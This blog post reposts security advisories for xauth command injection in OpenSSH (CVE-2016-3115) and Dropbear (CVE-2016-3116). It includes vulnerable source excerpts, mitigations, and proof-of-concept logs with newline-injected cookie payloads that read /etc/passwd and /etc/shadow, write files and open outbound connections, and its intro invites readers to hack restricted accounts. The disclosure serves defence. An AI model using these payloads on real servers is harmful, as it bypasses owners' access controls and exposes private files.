Time to supercharge your restricted SSH accounts!
Time to hack restricted SSH accounts thanks to an injection in the “xauth” command! Not an exploit for everyone but CVE-2016-3115 and CVE-2016-3116 details have just been published on Full Disclosure, and they will be useful to a lot of people for sure :) If your remote provider gives you a restricted SSH access using a forced-command (git anyone?) OR interdict shell access by using /bin/false AND and x11-forwarding is enabled then you may be able to circumvent that limitations and gain interactive access.
[FD] CVE-2016-3115 – OpenSSH <=7.2p1 xauth injection
Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview -------- Name: openssh Vendor: OpenBSD References: * http://www.openssh.com/[1] Version: 7.2p1 [2] Latest Version: 7.2p1 Other Versions: <= 7.2p1 (all versions; dating back ~20 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3115 Description --------- quote website [1]
OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.
Summary
-------
An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.
By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with the login shell
configured as /bin/false or one with configured forced-commands - to bypass
account restriction. This is generally not expected.
The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.
Quick-Info:
* requires: X11Forwarding yes
* bypasses /bin/false and forced-commands
** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear)
* does not bypass /bin/nologin (as there is special treatment for this)
Capabilities (xauth):
* Xauth
* write file: limited chars, xauthdb format
* read file: limit lines cut at first \s
* infoleak: environment
* connect to other devices (may allow port probing)
PoC see ref github.
Patch see ref github.
Details
-------
// see annotated code below
* server_input_channel_req (serverloop.c)
*- session_input_channel_req:2299 (session.c [2])
*- session_x11_req:2181
* do_exec_pty or do_exec_no_pty
*- do_child
*- do_rc_files (session.c:1335 [2])
Upon receiving an `x11-req` type channel request sshd parses the channel request
parameters `auth_proto` and `auth_data` from the client ssh packet where
`auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `auth_data` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, sshd will
call `do_rc_files` which tries to figure out if this is an x11 call by evaluating
if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND
there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc`
is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`.
Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.
Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted
input as arguments to that script.
Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3]
This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth
command injection:
SYNOPSIS
xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]
add displayname protocolname hexkey
generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
[n]extract filename displayname...
[n]list [displayname...]
[n]merge [filename...]
remove displayname...
source filename
info
exit
quit
version
help
?
Interesting commands are:
info - leaks environment information / path
~# xauth info
xauth: file /root/.Xauthority does not exist
Authority file: /root/.Xauthority
File new: yes
File locked: no
Number of entries: 0
Changes honored: yes
Changes made: no
Current input: (argv):1
source - arbitrary file read (cut on first `\s`)
# xauth source /etc/shadow
xauth: file /root/.Xauthority does not exist
xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
extract - arbitrary file write
* limited characters
* in xauth.db format
* since it is not compressed it can be combined with `xauth add` to
first store data in the database and then export it to an arbitrary
location e.g. to plant a shell or do other things.
generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
vulnerabilities in X.org
Source
------
Inline annotations are prefixed with `//#!`
/*
* Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found
* first in this order).
*/
static void
do_rc_files(Session *s, const char *shell)
{
...
snprintf(cmd, sizeof cmd, "%s -q -",
options.xauth_location);
f = popen(cmd, "w"); //#! run xauth -q -
if (f) {
fprintf(f, "remove %s\n", //#! remove <user_tainted_data> - injecting \n auth_display injects xauth command
s->auth_display);
fprintf(f, "add %s %s %s\n", //#! \n injection
s->auth_display, s->auth_proto,
s->auth_data);
pclose(f);
} else {
fprintf(stderr, "Could not run %s\n",
cmd);
}
}
}
Proof of Concept
----------------
Prerequisites:
* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* make sure `poc.py`
Usage: <host> <port> <username> <password or path_to_privkey>
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
poc:
1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
#cat /etc/passwd
user2:x:1001:1002:,,,:/home/user2:/bin/false
2. run sshd with `X11Forwarding yes` (kali default config)
#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d
3. `forced-commands` - connect with user1 and display env information
#> python <host> 22 user1 .demoprivkey
INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
INFO:__main__:connecting to: user1:<PKEY>@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file: /home/user1/.Xauthority
File new: no
File locked: no
Number of entries: 1
Changes honored: yes
Changes made: no
Current input: (stdin):3
/usr/bin/xauth: (stdin):2: bad "add" command line
...
4. `forced-commands` - read `/etc/passwd`
...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
5. `forced-commands` - write `/tmp/testfile`
#> .writefile /tmp/testfile `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):2: bad "add" command line
#> ls -lsat /tmp/testfile
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile
#> cat /tmp/testfile
\FA65500hi\FA65500`thisisatestfile`\AA
6. `/bin/false` - connect and read `/etc/passwd`
#> python <host> 22 user2 user2password
INFO:__main__:connecting to: user2:user2password@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
user2:x:1001:1002:,,,:/home/user2:/bin/false
...
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100
#> generate 8.8.8.8:100 .
#> tcpdump
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0
Mitigation / Workaround
------------------------
* disable x11-forwarding: `sshd_config` set `X11Forwarding no`
* disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys`
Notes
-----
Verified, resolved and released within a few days. very impressive.
Vendor response: see advisory [5]
References
----------
[1] http://www.openssh.com/
[2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388
[3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376
[4] http://linux.die.net/man/1/xauth
[5] http://www.openssh.com/txt/x11fwd.adv
[FD] CVE-2016-3116 – Dropbear SSH xauth injection
Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116 Version: 0.2 Date: Mar 3rd, 2016 Tag: dropbearsshd xauth command injection may lead to forced-command bypass Overview -------- Name: dropbear Vendor: Matt Johnston References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1] Version: 2015.71 Latest Version: 2015.71 Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years) Platform(s): linux Technology: c Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection') Origin: remote Min. Privs.: post auth CVE: CVE-2016-3116 Description --------- quote website [1]
Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
Summary ------- An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector. By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass account restriction. This is generally not expected. The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges. Quick-Info: * requires: X11Forwarding yes * does *NOT* bypass /bin/false due to special treatment (like nologin) * bypasses forced-commands (allows arbitr. read/write) Capabilities (xauth): * Xauth * write file: limited chars, xauthdb format * read file: limit lines cut at first \s * infoleak: environment * connect to other devices (may allow port probing) PoC see ref github. Details ------- // see annotated code below * x11req (svr-x11fwd.c:46) * execchild (svr-chansession.c:893) *- x11setauth (svr-x11fwd.c:129) Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request parameters `x11authprot` and `x11authcookie` from the client ssh packet where `x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`) and `x11authcookie` contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling `execute` on that session, dropbear will call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding by executing `xauth` with the effective permissions of the user and pass commands via `stdin`. Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a command-separator to the `xauth` binary, this allows a client to inject arbitrary `xauth` commands. This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth command injection: SYNOPSIS xauth [ -f authfile ] [ -vqibn ] [ command arg ... ] add displayname protocolname hexkey generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata] [n]extract filename displayname... [n]list [displayname...] [n]merge [filename...] remove displayname... source filename info exit quit version help ? Interesting commands are: info - leaks environment information / path ~# xauth info xauth: file /root/.Xauthority does not exist Authority file: /root/.Xauthority File new: yes File locked: no Number of entries: 0 Changes honored: yes Changes made: no Current input: (argv):1 source - arbitrary file read (cut on first `\s`) # xauth source /etc/shadow xauth: file /root/.Xauthority does not exist xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::" extract - arbitrary file write * limited characters * in xauth.db format * since it is not compressed it can be combined with `xauth add` to first store data in the database and then export it to an arbitrary location e.g. to plant a shell or do other things. generate - connect to <ip>:<port> (port probing, connect back and pot. exploit vulnerabilities in X.org Source ------ Inline annotations are prefixed with `//#!` * handle x11 request, stores cookie in `chansess` /* called as a request for a session channel, sets up listening X11 */ /* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */ int x11req(struct ChanSess * chansess) { int fd; /* we already have an x11 connection */ if (chansess->x11listener != NULL) { return DROPBEAR_FAILURE; } chansess->x11singleconn = buf_getbyte(ses.payload); chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data chansess->x11screennum = buf_getint(ses.payload); * set auth cookie/authprot /* This is called after switching to the user, and sets up the xauth * and environment variables. */ void x11setauth(struct ChanSess *chansess) { char display[20]; /* space for "localhost:12345.123" */ FILE * authprog = NULL; int val; if (chansess->x11listener == NULL) { return; } ... /* popen is a nice function - code is strongly based on OpenSSH's */ authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary if (authprog) { fprintf(authprog, "add %s %s %s\n", display, chansess->x11authprot, chansess->x11authcookie); //#! \n injection in cookie, authprot pclose(authprog); } else { fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND); } } Proof of Concept ---------------- Prerequisites: * install python 2.7.x * issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x * run `poc.py` Note: see cve-2016-3115 [3] for `poc.py` Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key poc: 1. configure one user (user1) for `force-commands`: #PUBKEY line - force commands: only allow "whoami" #cat /home/user1/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box #cat /etc/passwd user1:x:1001:1001:,,,:/home/user1:/bin/bash 2. run dropbearsshd (x11fwd is on by default) #> ~/dropbear-2015.71/dropbear -R -F -E -p 2222 [22861] Not backgrounding [22862] Child connection from 192.168.139.1:49597 [22862] Forced command 'whoami' [22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597 3. `forced-commands` - connect with user1 and display env information #> python <host> 22 user1 .demoprivkey INFO:__main__:add this line to your authorized_keys file: #PUBKEY line - force commands: only allow "whoami" #cat /home/user/.ssh/authorized_keys command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222 INFO:__main__:connected! INFO:__main__: Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help> #> .info DEBUG:__main__:auth_cookie: '\ninfo' DEBUG:__main__:dummy exec returned: None INFO:__main__:Authority file: /home/user1/.Xauthority File new: no File locked: no Number of entries: 2 Changes honored: yes Changes made: no Current input: (stdin):2 user1 /usr/bin/xauth: (stdin):1: bad "add" command line ... 4. `forced-commands` - read `/etc/passwd` ... #> .readfile /etc/passwd DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n' DEBUG:__main__:dummy exec returned: None INFO:__main__:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ... 5. `forced-commands` - write `/tmp/testfile` #> .writefile /tmp/testfile1 `thisisatestfile` DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500' DEBUG:__main__:dummy exec returned: None DEBUG:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line #> INFO:__main__:/tmp/testfile1 #> ls -lsat /tmp/testfile1 4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1 #> cat /tmp/testfile1 \FA65500hi\FA65500`thisisatestfile`\AAr 6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100 #> generate 8.8.8.8:100 DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100' DEBUG:__main__:dummy exec returned: None INFO:__main__:user1 /usr/bin/xauth: (stdin):1: bad "add" command line /usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100". #> tcpdump IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0 Mitigation / Workaround ------------------------ * disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD` Notes ----- Thanks to the OpenSSH team for coordinating the fix! Vendor response see: changelog [4] References ---------- [1] https://matt.ucc.asn.au/dropbear/dropbear.html [2] http://linux.die.net/man/1/xauth [3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/ [4] https://matt.ucc.asn.au/dropbear/CHANGES